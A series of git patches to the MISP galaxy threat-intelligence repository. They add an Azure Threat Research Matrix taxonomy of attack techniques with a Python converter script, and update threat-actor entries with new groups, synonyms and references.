logic respond to an HTTP GET request to reveal the Managed Identity's JWT.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601-4" + ] + }, + "uuid": "c64f2172-0dc5-5061-8128-c6c1fc59d3b3", + "value": "AZT601.4 - Function Application JWT GET Request" + }, + { + "description": "If an Automation Account is using a Managed Identity, an adversary can create a Runbook to request the Managed Identity's JWT.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601-5" + ] + }, + "uuid": "d369c182-37cb-55dd-bb0d-af57d277c051", + "value": "AZT601.5 - Automation Account Runbook" + }, + { + "description": "If a Runbook is utilizing a 'RunAs' account, then an adversary may manipulate the Runbook to reveal the certificate the Service Principal is using for authentication.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT602/AZT602-1" + ] + }, + "uuid": "027b05da-cabb-507c-a4b5-3a6c73859390", + "value": "AZT602 - Steal Service Principal Certificate" + }, + { + "description": "If a Function App is using a service principal for authentication, an adversary may manipulate the function app logic to reveal the service principal's secret in plain text.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT603/AZT603-1" + ] + }, + "uuid": "84639ccb-77a5-532f-bdac-a9d347d92304", + "value": "AZT603 - Service Principal Secret Reveal" + }, + { + "description": "An adverary may access an Azure KeyVault in an attempt to view secrets, certificates, or keys.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT604/AZT604" + ] + }, + "uuid": "a23579ef-ddd3-5370-a2aa-2651f93b27d7", + "value": "AZT604 - Azure KeyVault Dumping" + }, + { + "description": "By accessing an Azure Key Vault, an adversary may dump any or all secrets.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT604/AZT604-1" + ] + }, + "uuid": "cfcf7adc-3842-5186-9e6a-d595bcea09f7", + "value": "AZT604.1 - Azure KeyVault Secret Dump" + }, + { + "description": "By accessing an Azure Key Vault, an adversary may dump any or all certificates.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT604/AZT604-2" + ] + }, + "uuid": "05e20b61-81d2-5b29-a7db-2ec6e84eae7e", + "value": "AZT604.2 - Azure KeyVault Certificate Dump" + }, + { + "description": "By accessing an Azure Key Vault, an adversary may dump any or all public keys. Note that Private keys cannot be retrieved.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT604/AZT604-3" + ] + }, + "uuid": "06ec5785-88db-51c1-88f3-f0e6eed32830", + "value": "AZT604.3 - Azure KeyVault Key Dump" + }, + { + "description": "An adverary may access an Azure KeyVault in an attempt to view secrets, certificates, or keys.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT605/AZT605" + ] + }, + "uuid": "ecc40a2a-a85d-5e60-9e21-dffe6d07d85f", + "value": "AZT605 - Resource Secret Reveal" + }, + { + "description": "By accessing a Storage Account, an adversary may dump access keys pertaining to the Storage Account, which will give them full access to the Storage Account.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT605/AZT605-1" + ] + }, + "uuid": "4c22fbc1-60b0-5f4a-af4f-8fc32edcfe8a", + "value": "AZT605.1 - Storage Account Access Key Dumping" + }, + { + "description": "By editing a Runbook, a credential configured in an Automation Account may be revealed", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT605/AZT605-2" + ] + }, + "uuid": "49ec3f4e-7185-5e89-9ac0-3b5b0547f7bd", + "value": "AZT605.2 - Automation Account Credential Secret Dump" + }, + { + "description": "By generating an SAS URI for a resource, an adversary may extract the contents of that resource without authentication at any time.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Exfiltration" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT701/AZT701" + ] + }, + "uuid": "9ca7b25c-643a-5e55-a210-684f49fe82d8", + "value": "AZT701 - SAS URI Generation" + }, + { + "description": "An adversary may create an SAS URI to download the disk attached to a virtual machine.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Exfiltration" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT701/AZT701-1" + ] + }, + "uuid": "8805d880-8887-52b6-a113-8c0f4fec4230", + "value": "AZT701.1 - VM Disk SAS URI" + }, + { + "description": "By generating a Shared Access Signature (SAS) URI, an adversary can access a container in a Storage Account at any time.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Exfiltration" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT701/AZT701-2" + ] + }, + "uuid": "aae55a3a-8e32-5a62-8d41-837b2ebb1e69", + "value": "AZT701.2 - Storage Account File Share SAS" + }, + { + "description": "An adversary can generate a connection string to mount an Azure Storage Account File Share as an NFS or SMB share to their local machine.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Exfiltration" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT702/AZT702-1" + ] + }, + "uuid": "dc6f9ee0-55b2-5197-87a5-7474cfc04d72", + "value": "AZT702 - File Share Mounting" + }, + { + "description": "By setting up cross-tenant replication, an adversary may set up replication from one tenant's storage account to an extrenal tenant's storage account.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Exfiltration" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT703/AZT703-1" + ] + }, + "uuid": "ff4276bf-ab9e-5157-a171-5cdd4a3e6002", + "value": "AZT703 - Replication" + } + ], + "version": 1 +} diff --git a/galaxies/atrm.json b/galaxies/atrm.json new file mode 100644 index 0000000..6731d04 --- /dev/null +++ b/galaxies/atrm.json @@ -0,0 +1,20 @@ +{ + "description": "The purpose of the Azure Threat Research Matrix (ATRM) is to educate readers on the potential of Azure-based tactics, techniques, and procedures (TTPs). It is not to teach how to weaponize or specifically abuse them. For this reason, some specific commands will be obfuscated or parts will be omitted to prevent abuse.", + "icon": "map", + "kill_chain_order": { + "ATRM-tactics": [ + "Reconnaissance", + "Initial Access", + "Execution", + "Privilege Escalation", + "Persistence", + "Credential Access", + "Exfiltration" + ] + }, + "name": "Azure Threat Research Matrix", + "namespace": "atrm", + "type": "atrm", + "uuid": "b541a056-154c-41e7-8a56-41db3f871c00", + "version": 1 +} diff --git a/tools/gen_atrm.py b/tools/gen_atrm.py new file mode 100755 index 0000000..98e7277 --- /dev/null +++ b/tools/gen_atrm.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# +# +# A simple convertor of the Azure-Threat-Research-Matrix to a MISP Galaxy datastructure. +# Copyright (C) 2022 Christophe Vandeplas +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import yaml +import os +import uuid +import re +import json + +import argparse + +parser = argparse.ArgumentParser(description='Create/update the Azure Threat Research Matrix based on Markdown files.') +parser.add_argument("-p", "--path", required=True, help="Path of the 'Azure Threat Research Matrix' git clone folder") + +args = parser.parse_args() + +if not os.path.exists(args.path): + exit("ERROR: Azure Threat Research Matrix folder incorrect") + +with open(os.path.join(args.path, 'mkdocs.yml'), 'r') as f: + mkdocs_data = yaml.load(f, Loader=yaml.BaseLoader) + +tactics = [] +clusters = {} + +for nav_item in mkdocs_data['nav']: + try: + for tact_item in nav_item['Tactics']: + tactic = next(iter(tact_item.keys())) + tactics.append(tactic) + for techn_items in tact_item[tactic]: + try: + for techn_fname in techn_items['Techniques']: + for technique, fname in techn_fname.items(): + description_lst = [] + with open(os.path.join(args.path, 'docs', fname), 'r') as technique_f: + # find the short description, residing between the main title (#) and next title (!!!) or table (|) + for line in technique_f: + if line.startswith('#'): + continue + if line.startswith('!!!') or line.startswith('|'): + break + description_lst.append(line.strip()) + description = ''.join(description_lst) + # print(f"{tactic} / {technique} / {description}") + if technique not in clusters: + clusters[technique] = { + 'value': technique, + 'description': description, + 'uuid': str(uuid.uuid5(uuid.UUID("9319371e-2504-4128-8410-3741cebbcfd3"), technique)), + 'meta': { + 'kill_chain': [], + 'refs': [f"https://microsoft.github.io/Azure-Threat-Research-Matrix/{fname[:-3]}"] + } + } + clusters[technique]['meta']['kill_chain'].append(f"ATRM-tactics:{tactic}") + except KeyError: + continue + break + except KeyError: + continue + +json_galaxy = { + 'icon': "map", + 'kill_chain_order': { + 'ATRM-tactics': tactics + }, + 'name': "Azure Threat Research Matrix", + 'description': "The purpose of the Azure Threat Research Matrix (ATRM) is to educate readers on the potential of Azure-based tactics, techniques, and procedures (TTPs). It is not to teach how to weaponize or specifically abuse them. For this reason, some specific commands will be obfuscated or parts will be omitted to prevent abuse.", + 'namespace': "atrm", + 'type': "atrm", + 'uuid': "b541a056-154c-41e7-8a56-41db3f871c00", + 'version': 1 +} + +json_cluster = { + 'authors': ["Microsoft"], + 'category': 'atrm', + 'name': "Azure Threat Research Matrix", + 'description': "The purpose of the Azure Threat Research Matrix (ATRM) is to educate readers on the potential of Azure-based tactics, techniques, and procedures (TTPs). It is not to teach how to weaponize or specifically abuse them. For this reason, some specific commands will be obfuscated or parts will be omitted to prevent abuse.", + 'source': 'https://github.com/microsoft/Azure-Threat-Research-Matrix', + 'type': "atrm", + 'uuid': "b541a056-154c-41e7-8a56-41db3f871c00", + 'values': list(clusters.values()), + 'version': 1 +} +# add authors based on the Acknowledgements page +with open(os.path.join(args.path, 'docs', 'acknowledgments.md'), 'r') as f: + for line in f: + if line.startswith('* '): + json_cluster['authors'].append(re.search(r'\w+ [\w&]+', line).group()) + +# save the Galaxy and Cluster file +with open(os.path.join('..', 'galaxies', 'atrm.json'), 'w') as f: + json.dump(json_galaxy, f, indent=2) + +with open(os.path.join('..', 'clusters', 'atrm.json'), 'w') as f: + json.dump(json_cluster, f, indent=2) + +print("All done, please don't forget to ./jq_all_the_things.sh, commit, and then ./validate_all.sh.") From 75221418b84db3d3356c11d584da34b61b88b710 Mon Sep 17 00:00:00 2001 From: Christophe Vandeplas Date: Sun, 7 Aug 2022 08:19:57 +0200 Subject: [PATCH 046/167] chg: [doc] index updated --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index 12e5894..5dd80a3 100644 --- a/README.md +++ b/README.md @@ -27,6 +27,14 @@ Category: *tool* - source: *Open Sources* - total: *431* elements [[HTML](https://www.misp-project.org/galaxy.html#_android)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/android.json)] +## Azure Threat Research Matrix + +[Azure Threat Research Matrix](https://www.misp-project.org/galaxy.html#_azure_threat_research_matrix) - The purpose of the Azure Threat Research Matrix (ATRM) is to educate readers on the potential of Azure-based tactics, techniques, and procedures (TTPs). It is not to teach how to weaponize or specifically abuse them. For this reason, some specific commands will be obfuscated or parts will be omitted to prevent abuse. + +Category: *atrm* - source: *https://github.com/microsoft/Azure-Threat-Research-Matrix* - total: *80* elements + +[[HTML](https://www.misp-project.org/galaxy.html#_azure_threat_research_matrix)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/atrm.json)] + ## attck4fraud [attck4fraud](https://www.misp-project.org/galaxy.html#_attck4fraud) - attck4fraud - Principles of MITRE ATT&CK in the fraud domain From 6e0df72ef4aaae48a1ec86d5378674d6e2d19577 Mon Sep 17 00:00:00 2001 From: Thomas Dupuy Date: Wed, 10 Aug 2022 18:53:38 +0000 Subject: [PATCH 047/167] Add Threat Actors from BH Asia22 prez. --- clusters/threat-actor.json | 50 +++++++++++++++++++++++++++++++++++++- 1 file changed, 49 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 45dfd3b..1f2574f 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -1026,6 +1026,7 @@ "cfr-type-of-incident": "Espionage", "country": "CN", "refs": [ + "https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf", "https://web.archive.org/web/20140129192702/https://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/", "https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/", "https://labs.bitdefender.com/wp-content/uploads/downloads/operation-pzchao-inside-a-highly-specialized-espionage-infrastructure/", @@ -1045,6 +1046,8 @@ "https://unit42.paloaltonetworks.com/atoms/iron-taurus/" ], "synonyms": [ + "GreedyTaotie", + "Emissary Panda", "TG-3390", "APT 27", "APT27", @@ -10004,7 +10007,52 @@ }, "uuid": "7831d56e-5913-44ca-8835-f42017aeb0cd", "value": "Returned Libra" + }, + { + "meta": { + "attribution-confidence": "75", + "cfr-suspected-state-sponsor": "China", + "cfr-target-category": [ + "Private Sector" + ], + "country": "CN", + "refs": [ + "https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf" + ] + }, + "uuid": "a3831248-5e2f-492d-8bb6-5e82c2f6481d", + "value": "TianWu" + }, + { + "meta": { + "attribution-confidence": "75", + "cfr-suspected-state-sponsor": "China", + "cfr-target-category": [ + "Private Sector" + ], + "country": "CN", + "refs": [ + "https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf" + ] + }, + "uuid": "d58030e2-5673-4836-9aff-ab6d55da0bc0", + "value": "SLIME29" + }, + { + "meta": { + "attribution-confidence": "75", + "cfr-suspected-state-sponsor": "China", + "cfr-target-category": [ + "Private Sector" + ], + "country": "CN", + "refs": [ + "https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf" + ] + }, + "uuid": "a8c39768-92b2-4d9f-8adf-03f06e327785", + "value": "SLIME34" } ], - "version": 238 + "version": 239 } From 912050b9b77bcbd8cc4745107bee0b1cc47f2143 Mon Sep 17 00:00:00 2001 From: Thomas Dupuy Date: Thu, 11 Aug 2022 15:20:32 +0000 Subject: [PATCH 048/167] Update commit based on feeback. --- clusters/threat-actor.json | 18 ++---------------- 1 file changed, 2 insertions(+), 16 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 1f2574f..efa585c 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -1047,7 +1047,6 @@ ], "synonyms": [ "GreedyTaotie", - "Emissary Panda", "TG-3390", "APT 27", "APT27", @@ -9862,12 +9861,14 @@ "meta": { "country": "CN", "refs": [ + "https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation", "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility", "https://twitter.com/cglyer/status/1480734487000453121" ], "synonyms": [ + "SLIME34", "DEV-0401" ] }, @@ -10037,21 +10038,6 @@ }, "uuid": "d58030e2-5673-4836-9aff-ab6d55da0bc0", "value": "SLIME29" - }, - { - "meta": { - "attribution-confidence": "75", - "cfr-suspected-state-sponsor": "China", - "cfr-target-category": [ - "Private Sector" - ], - "country": "CN", - "refs": [ - "https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf" - ] - }, - "uuid": "a8c39768-92b2-4d9f-8adf-03f06e327785", - "value": "SLIME34" } ], "version": 239 From ed24dcaf19bcfe0e675cc2401c69ac799e2b9352 Mon Sep 17 00:00:00 2001 From: Thomas Dupuy Date: Thu, 11 Aug 2022 15:41:01 +0000 Subject: [PATCH 049/167] Add link for SLIME29. --- clusters/threat-actor.json | 1 + 1 file changed, 1 insertion(+) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index efa585c..1b6498a 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -10033,6 +10033,7 @@ ], "country": "CN", "refs": [ + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", "https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf" ] }, From 96d31aa8c7fd13f3e21b8a25885237dbc22ff320 Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Thu, 11 Aug 2022 17:50:00 +0200 Subject: [PATCH 050/167] chg: [threat-actor] jq all the things --- clusters/threat-actor.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 1b6498a..fd0711b 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9861,14 +9861,14 @@ "meta": { "country": "CN", "refs": [ - "https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf", + "https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation", "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility", "https://twitter.com/cglyer/status/1480734487000453121" ], "synonyms": [ - "SLIME34", + "SLIME34", "DEV-0401" ] }, @@ -10033,7 +10033,7 @@ ], "country": "CN", "refs": [ - "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", "https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf" ] }, From f4b63d4514e4df3423987a1342eaa09cee4b1c6d Mon Sep 17 00:00:00 2001 From: Rony Date: Tue, 16 Aug 2022 10:30:33 +0530 Subject: [PATCH 051/167] updates to tianwu --- clusters/threat-actor.json | 22 +++++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index fd0711b..2b6a3fb 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -10013,12 +10013,29 @@ "meta": { "attribution-confidence": "75", "cfr-suspected-state-sponsor": "China", + "cfr-suspected-victims": [ + "China", + "Hong Kong", + "Kazakhstan", + "Taiwan", + "Philippines" + ], "cfr-target-category": [ - "Private Sector" + "Private Sector", + "Gambling companies", + "Gaming", + "Information technology", + "Telecommunications", + "Government", + "Transportation systems", + "Dissident" ], "country": "CN", "refs": [ - "https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf" + "https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf", + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies", + "https://github.com/avast/ioc/tree/master/OperationDragonCastling" ] }, "uuid": "a3831248-5e2f-492d-8bb6-5e82c2f6481d", @@ -10033,7 +10050,6 @@ ], "country": "CN", "refs": [ - "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", "https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf" ] }, From de76aef02388febd12bf0dd97ed3cf1440341272 Mon Sep 17 00:00:00 2001 From: Rony Date: Tue, 16 Aug 2022 10:49:13 +0530 Subject: [PATCH 052/167] Update threat-actor.json --- clusters/threat-actor.json | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 2b6a3fb..c3687d7 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -4455,12 +4455,19 @@ { "description": "The Callisto Group is an advanced threat actor whose known targets include military personnel, government officials, think tanks, and journalists in Europe and the South Caucasus. Their primary interest appears to be gathering intelligence related to foreign and security policy in the Eastern Europe and South Caucasus regions.", "meta": { + "country": "RU", "refs": [ "https://www.f-secure.com/documents/996508/1030745/callisto-group", - "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag" + "https://blog.google/threat-analysis-group/tracking-cyber-activity-eastern-europe", + "https://blog.google/threat-analysis-group/update-on-cyber-activity-in-eastern-europe", + "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag", + "https://www.microsoft.com/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations", + "https://blog.sekoia.io/calisto-continues-its-credential-harvesting-campaign" ], "synonyms": [ - "COLDRIVER" + "COLDRIVER", + "SEABORGIUM", + "TA446" ] }, "uuid": "fbd279ab-c095-48dc-ba48-4bece3dd5b0f", From bbe84c5985082309aed55f5cc83179d00bb892f9 Mon Sep 17 00:00:00 2001 From: Rony Date: Tue, 16 Aug 2022 12:07:59 +0530 Subject: [PATCH 053/167] updates to russian actors --- clusters/threat-actor.json | 255 ++++++++++--------------------------- 1 file changed, 67 insertions(+), 188 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index c3687d7..25225c1 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -2366,28 +2366,27 @@ "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag" ], "synonyms": [ - "APT 28", - "APT28", "Pawn Storm", - "PawnStorm", "FANCY BEAR", "Sednit", "SNAKEMACKEREL", - "TsarTeam", "Tsar Team", "TG-4127", - "Group-4127", "STRONTIUM", - "TAG_0700", "Swallowtail", "IRON TWILIGHT", "Group 74", "SIG40", "Grizzly Steppe", - "apt_sofacy", "G0007", "ATK5", - "Fighting Ursa" + "Fighting Ursa", + "ITG05", + "Blue Athena", + "TA422", + "T-APT-12", + "APT-C-20", + "UAC-0028" ] }, "related": [ @@ -2407,7 +2406,7 @@ } ], "uuid": "5b4ee3ea-eee3-4c8e-8323-85ae32658754", - "value": "Sofacy" + "value": "APT28" }, { "description": "A 2015 report by F-Secure describe APT29 as: 'The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes show unusual confidence in their ability to continue successfully compromising their targets, as well as in their ability to operate with impunity. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States;Asian, African, and Middle Eastern governments;organizations associated with Chechen extremism;and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large - scale spear - phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash - and - grab approach involving a fast but noisy breakin followed by the rapid collection and exfiltration of as much data as possible.If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long - term intelligence gathering. This threat actor targets government ministries and agencies in the West, Central Asia, East Africa, and the Middle East; Chechen extremist groups; Russian organized crime; and think tanks. It is suspected to be behind the 2015 compromise of unclassified networks at the White House, Department of State, Pentagon, and the Joint Chiefs of Staff. The threat actor includes all of the Dukes tool sets, including MiniDuke, CosmicDuke, OnionDuke, CozyDuke, SeaDuke, CloudDuke (aka MiniDionis), and HammerDuke (aka Hammertoss). '", @@ -2450,28 +2449,20 @@ "https://unit42.paloaltonetworks.com/atoms/cloaked-ursa/" ], "synonyms": [ - "Dukes", "Group 100", - "Cozy Duke", - "CozyDuke", - "EuroAPT", - "CozyBear", - "CozyCar", - "Cozer", - "Office Monkeys", - "OfficeMonkeys", - "APT29", - "Cozy Bear", + "COZY BEAR", "The Dukes", "Minidionis", "SeaDuke", - "Hammer Toss", "YTTRIUM", - "Iron Hemlock", + "IRON HEMLOCK", "Grizzly Steppe", "G0016", "ATK7", - "Cloaked Ursa" + "Cloaked Ursa", + "TA421", + "Blue Kitsune", + "ITG11" ] }, "related": [ @@ -2484,7 +2475,7 @@ } ], "uuid": "b2056ff0-00b9-482e-b11c-c771daa5f28a", - "value": "APT 29" + "value": "APT29" }, { "description": "A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O’ Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'", @@ -2549,14 +2540,11 @@ "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag" ], "synonyms": [ - "Turla", "Snake", - "Venomous Bear", "VENOMOUS Bear", "Group 88", "Waterbug", "WRAITH", - "Turla Team", "Uroburos", "Pfinet", "TAG_0530", @@ -2565,10 +2553,12 @@ "Pacifier APT", "Popeye", "SIG23", - "Iron Hunter", + "IRON HUNTER", "MAKERSMARK", "ATK13", - "G0010" + "G0010", + "ITG12", + "Blue Python" ] }, "related": [ @@ -2588,7 +2578,7 @@ } ], "uuid": "fa80877c-f509-4daf-8b62-20aba1635f68", - "value": "Turla Group" + "value": "Turla" }, { "description": "A Russian group that collects intelligence on the energy industry.", @@ -2628,10 +2618,13 @@ "https://www.kaspersky.com/resource-center/threats/crouching-yeti-energetic-bear-malware-threat", "https://www.sans.org/reading-room/whitepapers/ICS/impact-dragonfly-malware-industrial-control-systems-36672", "https://attack.mitre.org/groups/G0035/", - "https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector" + "https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector", + "https://dragos.com/adversaries.html", + "https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf", + "https://www.cfr.org/interactive/cyber-operations/dymalloy" ], "synonyms": [ - "Beserk Bear", + "BERSERK BEAR", "ALLANITE", "CASTLE", "DYMALLOY", @@ -2640,11 +2633,13 @@ "Crouching Yeti", "Group 24", "Havex", - "CrouchingYeti", "Koala Team", "IRON LIBERTY", "G0035", - "ATK6" + "ATK6", + "ITG15", + "BROMINE", + "Blue Kraken" ] }, "related": [ @@ -2657,7 +2652,7 @@ } ], "uuid": "64d6559c-6d5c-4585-bbf9-c17868f763ee", - "value": "Energetic Bear" + "value": "ENERGETIC BEAR" }, { "description": "This threat actor targets industrial control systems, using a tool called Black Energy, associated with electricity and power generation for espionage, denial of service, and data destruction purposes. Some believe that the threat actor is linked to the 2015 compromise of the Ukrainian electrical grid and a distributed denial of service prior to the Russian invasion of Georgia. Believed to be responsible for the 2008 DDoS attacks in Georgia and the 2015 Ukraine power grid outage", @@ -2689,19 +2684,31 @@ "https://ics.sans.org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid", 